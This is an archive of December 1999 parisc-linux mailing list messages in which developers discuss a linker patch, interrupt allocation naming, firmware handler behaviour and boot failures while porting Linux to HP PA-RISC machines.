From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Mon, 6 Dec 1999 20:36:59 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <19991206203659.C21512@mathe.stud.uni-erlangen.de>
References: <19991205222205.B22241@mathe.stud.uni-erlangen.de> <199912052206.RAA24956@hiauly1.hia.nrc.ca> <19991206035320.A21512@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618687 28857 80.91.229.3 (22 Nov 2014 01:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Dec  6 13:54:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA24222
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 13:54:42 -0700
Original-Received: (qmail 4700 invoked by uid 15267); 6 Dec 1999 20:56:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4673 invoked from network); 6 Dec 1999 20:56:47 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 20:56:47 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 6 Dec 1999 21:56:32 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id UAA07682;
	Mon, 6 Dec 1999 20:37:59 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991206035320.A21512@mathe.stud.uni-erlangen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6569

> I just verified that the problem exists with the linker as compiled from the
> GPL'd source (which required some minor modifications to the CVS ld).

Here's the diff against fixups.c (including stuff I added to ignore
R_SHORT_PCREL_MODE which we get for some reason (that might be a gas
funny)).

diff -ur linker-cvs/fixups.c linker/fixups.c
--- linker-cvs/fixups.c	Mon Dec  6 20:21:23 1999
+++ linker/fixups.c	Mon Dec  6 20:27:03 1999
@@ -360,6 +360,10 @@
     /*  PA2.0 instructions */
     {   R_SHORT_PCREL_MODE,  1,   1,      NONE,   NONE,  NONE   },
     {   R_LONG_PCREL_MODE,   1,   1,      NONE,   NONE,  NONE   },
+#else
+	/* we seem to get R_SHORT_PCREL_MODE -- which I guess is the "do the
+	 * PA1.1 thing" one which would mean we can just ignore it.  prumpf */
+    {   R_SHORT_PCREL_MODE,  1,   1,      NONE,   NONE,  NONE   },
 #endif /* ifdef PA_2_0 */
     {   R_ABS_CALL        , 10,   2,      AR_D,   U_8,   NONE   },
     {   0                 ,  2,   3,      AR_9,   U_8,   NONE   },
@@ -1339,6 +1343,11 @@
 		GET_NO_ARGS;
 		is_pcrel_short = FALSE;
 		break;
+#else
+	    case R_SHORT_PCREL_MODE:
+		GET_NO_ARGS;
+		/* we just ignore R_SHORT_PCREL_MODE on PA1.1.  prumpf */
+		break;
 #endif /* ifdef PA_2_0 */
 
             /* zero length, clear overrides */
@@ -4342,9 +4351,9 @@
 
     switch (fix_info->type) {
 #ifdef PA_2_0
-	case R_SHORT_PCREL_MODE:
 	case  R_LONG_PCREL_MODE:
 #endif /* ifdef PA_2_0 */
+	case R_SHORT_PCREL_MODE:
         case R_BEGIN_BRTAB:
         case R_END_BRTAB:
         case R_FSEL:
@@ -5388,7 +5397,7 @@
 	        value = symbol_value(arg0);
 		if (GET_OP(instruction) == 0x0a) {          /* if an ADDIL */
 		    /* set to addil L'sym, r0 */
-		    instruction = (instruction & REG_MASK);
+		    instruction = (instruction & REG_MASK) | R27_MASK;
 		}
 		/* else ldw/stw is set to use r1 already */
 #ifdef TSD /* TSD */


The important part is

-		    instruction = (instruction & REG_MASK);
+		    instruction = (instruction & REG_MASK) | R27_MASK;

.  I don't really know what my changes do, just the kernel links correctly
with them and doesn't without.

Anyway, kudos to the folks who convinced HP to GPL the linker in the first
place.  Otherwise, we'd be pretty stuck by now.

	Philipp Rumpf


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] txn_alloc_irq() change
Date: Mon, 6 Dec 1999 19:34:47 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <19991206193447.B21512@mathe.stud.uni-erlangen.de>
References: <199912060631.WAA16626@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618687 28860 80.91.229.3 (22 Nov 2014 01:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Dec  6 13:55:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA24316
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 13:55:03 -0700
Original-Received: (qmail 4901 invoked by uid 15267); 6 Dec 1999 20:57:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4886 invoked from network); 6 Dec 1999 20:57:07 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 20:57:07 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 6 Dec 1999 21:57:02 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id TAA06627;
	Mon, 6 Dec 1999 19:35:48 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912060631.WAA16626@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6570

> I was working through Message Signalled Interrupt (aka TBIs) allocation
> and realized our current txn_alloc_irq() implementation needs to accepted
> at least one parameter. The parameter would indicate a (one of two)
> capability of the caller's device. Returning a negative irq indicates
> the host can't support the device because the host doesn't have a
> compatible resource.

The original plan was to hide txn_alloc_irq (which I still think is a bad
name as no-one is going to remember it) in bus-specific wrappers --
gsc_alloc_irq is one, though the Dino driver does not use it currently.

So this doesn't even affect "well-written" drivers.  Changing txn_alloc_irq
isn't exactly high-priority as all systems that use <= 31 interrupt-generating
devices (which I guess are the systems we're currently working with) should
work just fine right now.

>         /* enable_irq() will use txn_* to program IRdT (PAT only) */
>         vi->vi_txn_addr = txn_alloc_addr(vi->vi_txn_irq);
>         vi->vi_txn_data = txn_alloc_data(vi->vi_txn_irq);

txn_alloc_{addr,data} are confusing names as those functions don't actually
allocate anything.

> In addition, I would like folks to tell me if we should add a second
> parameter to indicate how "wide" the "txn_addr" can be. I had assumed
> the width of a host processor pointer address but cards may not support
> enough bits (ie 32-bit card won't work on system which wants 40-bit or
> 44-bit physical addr). AFAIK PA-Risc systems have processors aliased to
> below 4GB physical address and thus it won't be an issue for our port.
> But other architectures do support MSI and it seems easy to avoid
> nasty surprizes later.

This, again, depends on the bus.  For PCI, either your card supports dual
address cycles and you can use 64 bits, or it doesn't, in which case your
system needs to alias everything below 4 GB anyway.

	Philipp Rumpf


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Mon, 06 Dec 1999 10:50:45 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <384C0585.9F444390@hp.com>
References: <199912032052.MAA02894@xsvr4.cup.hp.com> <19991204212623.B19280@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618687 28865 80.91.229.3 (22 Nov 2014 01:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Mon Dec  6 14:04:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA24551
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 14:04:39 -0700
Original-Received: (qmail 9829 invoked by uid 15267); 6 Dec 1999 21:06:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9822 invoked from network); 6 Dec 1999 21:06:43 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 Dec 1999 21:06:43 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id BFCA1170E4
	for <parisc-linux@thepuffingroup.com>; Mon,  6 Dec 1999 13:50:46 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id KAA11982 for <parisc-linux@thepuffingroup.com>; Mon, 6 Dec 1999 10:50:45 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6571

Philipp Rumpf wrote:

< stuff deleted >

> > (Of course, the obvious exception is that the Temporary Control
> > Registers are undefined when the kernel's HPMC handler is called.)
> 
> How is that obvious ?  I would have expected the firmware HPMC handler

Ahhh, obvious if one had read the comments at the beginning of the basic
hpmc handler that I submitted.  Or read p. 1-16 of pdce.pdf, "PA-RISC 2.0
Formware Architecture Reference Specification: Processor Dependent Code
(PDC) Procedures (Part 2/2)" at
http://thepuffingroup.com/parisc/documentation.html

OK, so it's not so obvious....

-Frank


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Mon, 6 Dec 1999 23:50:01 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <199912070450.XAA01363@hiauly1.hia.nrc.ca>
References: <199912040128.SAA29635@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618688 28867 80.91.229.3 (22 Nov 2014 01:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec  6 21:49:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA26694
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Dec 1999 21:49:29 -0700
Original-Received: (qmail 20330 invoked by uid 15267); 7 Dec 1999 04:51:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20315 invoked from network); 7 Dec 1999 04:51:32 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 7 Dec 1999 04:51:32 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id XAA01363;
	Mon, 6 Dec 1999 23:50:02 -0500 (EST)
In-Reply-To: <199912040128.SAA29635@debian.fc.hp.com> from "Paul Bame" at Dec 3, 99 06:28:23 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6572

After a day of hacking, I was finally able to link the kernel successfully.
It booted through to the end of realmode_setup.  Probably, further work is
needed on the TLB handler.  I wonder if calls between real and virt, and
visa versa are working.  No change to som_relocate was necessary.

There is one problem.  I now have to turn off the system power to get the
system to reboot.  Formerly, I could just press the TOC button.

It also looks like the "real_" defines and protos can be eliminated.

Dave
> 
> 
> Bad failures occur (for me) with the hpux boot loader.  I have no
> idea whether I introduced them, but I might have.  It looks
> like the first instruction of vmlinux doesn't even get executed,
> so probably something in the SOM header is telling the hpux boot loader to
> do something stupid.  som_relocate may need an upgrade, but I'm
> stumped about what's going wrong.
> 
> 	-P
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Tue, 07 Dec 1999 09:53:02 -0700
Lines: 112
Approved: news@gmane.org
Message-ID: <199912071653.JAA18644@debian.fc.hp.com>
References: <199912070450.XAA01363@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618688 28869 80.91.229.3 (22 Nov 2014 01:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: bame@debian.fc.hp.com  Tue Dec  7 09:51:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA31749
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Dec 1999 09:51:32 -0700
Original-Received: (qmail 29984 invoked by uid 15267); 7 Dec 1999 16:53:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29977 invoked from network); 7 Dec 1999 16:53:38 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 7 Dec 1999 16:53:38 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA04643;
	Tue, 7 Dec 1999 09:53:14 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA10532; Tue, 7 Dec 1999 09:53:14 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA18644;
	Tue, 7 Dec 1999 09:53:03 -0700
In-reply-to: Your message of "Mon, 06 Dec 1999 23:50:01 EST."
             <199912070450.XAA01363@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6573

= After a day of hacking, I was finally able to link the kernel successfully.
= It booted through to the end of realmode_setup.  Probably, further work is
= needed on the TLB handler.  I wonder if calls between real and virt, and
= visa versa are working.  No change to som_relocate was necessary.

Glad you had better luck with the HPUX boot loader than I had.

= There is one problem.  I now have to turn off the system power to get the
= system to reboot.  Formerly, I could just press the TOC button.

That happens pretty frequently to me but I've not tracked down why
it happens.  Did you try holding the TOC button in for several seconds?
On some workstations I've been told that generates a hard reset.

= It also looks like the "real_" defines and protos can be eliminated.

As I merge in your changes I'll look into that.

	-P

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:57 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03804
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:57 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:57 PST
Received: from smtp03.primenet.com (daemon@smtp01.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id LAA06333
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 11:00:30 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id LAA05257
	for <pcj@primenet.com>; Wed, 10 Mar 1999 11:00:27 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd005219; Wed Mar 10 11:00:19 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id NAA07862;
	Wed, 10 Mar 1999 13:00:21 -0500
Resent-Date: Wed, 10 Mar 1999 13:00:21 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <7DB180A629C1D211869F00A0C9F44A8C17F8@retro-mail.fish.retrotech.com>
From: "Muench, David" <dmuen@retrotech.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Bootstrap #3 successful
Date: Wed, 10 Mar 1999 13:01:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"rC0tU1.0.kw1.qChvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/165
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: f196b078c3e6a1c702b4ef4d8f403de6
Lines: 49
Xref: merlin.pcj.primenet.com palinux:136


If I'm #7 listed down there, it was off a scsi disk. Sorry I forgot to
mention that.

---
David Muench - Project System Administrator
Retrotech, Inc. - http://www.retrotech.com/



-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Wednesday, March 10, 1999 12:12 PM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap #3 successful



I'm happy to report that bootstrap #3 passed for everyone who reported back
thus far, thanks for taking the time to help out. Network, disk, and even
ZIP drive boots worked. I'd like to see a CD-ROM test if someone has a
CDR drive available.

1) 780/C160       (disk)
2) 715/64         (BOOTP)
3) 816/E35        (disk)
4) 712/100        (disk)
5) 712/100        (SCSI ZIP drive!)
6) 715/33         (RBOOTD) 
7) 715/80         (?disk?)

This means that we now have a simple but functional bootstrap. We are ready
to load a real kernel instead of a dummy one!

Phil Schwan is helping to solve the ftp problems and I will be uploading
the latest working boot sources. I've also added GPL license stubs to
each source file, a mildly detailed README, etc.

Regards,
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] drivers/gecko
Date: Wed, 8 Dec 1999 11:40:13 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <199912081040.LAA07153@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618688 28872 80.91.229.3 (22 Nov 2014 01:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Wed Dec  8 03:38:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA03922
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 03:38:07 -0700
Original-Received: (qmail 26483 invoked by uid 15267); 8 Dec 1999 10:40:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26475 invoked from network); 8 Dec 1999 10:40:15 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 10:40:15 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id LAA07153
	for parisc-linux@thepuffingroup.com; Wed, 8 Dec 1999 11:40:13 +0100
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:6574

Did somebody  rm -rf /home/cvs/parisc/linux/drivers/gecko  directly in the
CVS repository?

cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/drivers/gecko: No such file or directory

-Tor


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Wed, 8 Dec 1999 05:27:15 -0800 (PST)
Lines: 145
Approved: news@gmane.org
Message-ID: <19991208132715.19922.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618689 28874 80.91.229.3 (22 Nov 2014 01:11:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:29 +0000 (UTC)
To: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Dec  8 06:25:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA06758
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 06:25:12 -0700
Original-Received: (qmail 28299 invoked by uid 15267); 8 Dec 1999 13:27:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28288 invoked from network); 8 Dec 1999 13:27:16 -0000
Original-Received: from web501.mail.yahoo.com (128.11.68.68)
  by mailserv2.iuinc.com with SMTP; 8 Dec 1999 13:27:16 -0000
Original-Received: (qmail 19923 invoked by uid 60001); 8 Dec 1999 13:27:15 -0000
Original-Received: from [149.234.12.1] by web501.mail.yahoo.com; Wed, 08 Dec 1999 05:27:15 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6575

Hi all,

I have build a new kernel with the CVS version
19991205 and I get the following console output when I
try to boot it on my 715/33:

PARISC/Linux Bootstrap Version 0.6 (interactive)
By Helge Deller & Jason Eckhardt
Built Mon Dec 6 11:13:34 MET 1999 by root@be5359

Reading parameters...done.

Loading PA-RISC/Linux Kernel...

Please enter the command-line:
/stand/vmlinux HOME=/ TERM=LINUX console=tty

SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000CE000
exec_dsize: 00081000
exec_dmem : C00A0000
exec_tfile: 0003E000
exec_tsize: 0008F008
exec_tmem : C0010000
Code at 0x00010000, size=0x0008F008
Data at 0x000A0000, size=0x00081000
BSS  at 0x00121000.

Transferring control to kernel. (At entry point
0x00010000)
kernel(0x146880, 0x504010, 0x146880, 0x12c30)
Boot loader: PA/Linux, maybe PALO
kernel free mem 0x00146880
realmode_setup exiting
Can't insert TLB miss handler pa 0x40000000 va
0x00000000
r0-3    0x0004fb0b      0xc0112000      0xc004a170    
 0x00000000
r4-7    0xc0112000      0x00000000      0x00000400    
 0x00000000
r8-11   0xc01db000      0x00000000      0x00000400    
 0x00000100
r12-15  0xc01a4988      0x00000000      0x00000000    
 0x00000000
r16-19  0x00000000      0x00000400      0x00001000    
 0x0000001f
r20-23  0x00000020      0xc01a001c      0x00000001    
 0xc01268b0
r24-27  0x00000000      0x00000400      0x00000000    
 0xc009f000
r28-31  0xc01db000      0x0000000b      0xc01a4f40    
 0xc007a39c
sr0-3   0x00000000      0x00000000      0x00000000    
 0x00000000
sr4-7   0x00000000      0x00000000      0x00000000    
 0x00000000
iasq 0x00000020 0x00000003
iaoq 0xc004a078 0xc004a07c
cr30 0x00000000 ksp 0x00000001 kpc 0xc01a4f80 sar
0x00000012
iir 0x48730038

The last successful booting kernel was from the CVS
version 19991123.

Any ideas ?
Ulrich

--- Paul Bame <bame@debian.fc.hp.com> wrote:
> 
> I just committed the changes to embed real-mode code
> in a separate
> executable inside vmlinux.  It should cause no
> functional changes
> in theory.  Read all about it in
> arch/parisc/real/README and
> ee.html.  If you have terrible new problems,
> I've attached a list of CVS commands to check out
> the files before I
> started hacking on them.  I haven't seen a shell
> prompt from this
> set of hacks so beware...
> 
> 	-Paul Bame
> 
> prumpf- I moved kernel_thread and friends from
> 	real/<something> to kernel/head.S  I also
> re-enabled BTLB in
> 	real/setup.c so I could get further in the boot. 
> Left some
> 	debugging printks in the handle_real_interrupt
> handler too.
> 
> cvs update -r1.25 arch/parisc/Makefile
> 	cvs update -A arch/parisc/Makefile
> cvs update -r1.28 arch/parisc/kernel/Makefile
> 	cvs update -A arch/parisc/kernel/Makefile
> cvs update -r1.35 arch/parisc/kernel/head.S
> 	cvs update -A arch/parisc/kernel/head.S
> cvs update -r1.39 arch/parisc/kernel/irq.c
> 	cvs update -A arch/parisc/kernel/irq.c
> cvs update -r1.14 arch/parisc/kernel/pdc.c
> 	cvs update -A arch/parisc/kernel/pdc.c
> cvs update -r1.25 arch/parisc/kernel/pdc_cons.c
> 	cvs update -A arch/parisc/kernel/pdc_cons.c
> cvs update -r1.73 arch/parisc/kernel/setup.c
> 	cvs update -A arch/parisc/kernel/setup.c
> cvs update -r1.11 arch/parisc/kernel/traps.c
> 	cvs update -A arch/parisc/kernel/traps.c
> cvs update -r1.2 arch/parisc/real/Makefile
> 	cvs update -A arch/parisc/real/Makefile
> cvs update -r1.2 arch/parisc/real/head.S
> 	cvs update -A arch/parisc/real/head.S
> cvs update -r1.2 arch/parisc/real/interruption.S
> 	cvs update -A arch/parisc/real/interruption.S
> cvs update -r1.2 arch/parisc/real/lib.c
> 	cvs update -A arch/parisc/real/lib.c
> cvs update -r1.2 arch/parisc/real/pdc.c
> 	cvs update -A arch/parisc/real/pdc.c
> cvs update -r1.2 arch/parisc/real/real.h
> 	cvs update -A arch/parisc/real/real.h
> cvs update -r1.2 arch/parisc/real/real_s.S
> 	cvs update -A arch/parisc/real/real_s.S
> cvs update -r1.2 arch/parisc/real/setup.c
> 	cvs update -A arch/parisc/real/setup.c
> cvs update -r1.1 arch/parisc/real/traps.c
> 	cvs update -A arch/parisc/real/traps.c
> cvs update -r1.1 include/asm-parisc/real.h
> 	cvs update -A include/asm-parisc/real.h
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Thousands of Stores.  Millions of Products.  All in one place.
Yahoo! Shopping: http://shopping.yahoo.com


From - Thu Nov 08 21:11:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Wed, 08 Dec 1999 08:54:39 -0700
Lines: 153
Approved: news@gmane.org
Message-ID: <199912081554.IAA21679@debian.fc.hp.com>
References: <19991208132715.19922.qmail@web501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618689 28878 80.91.229.3 (22 Nov 2014 01:11:29 GMT)
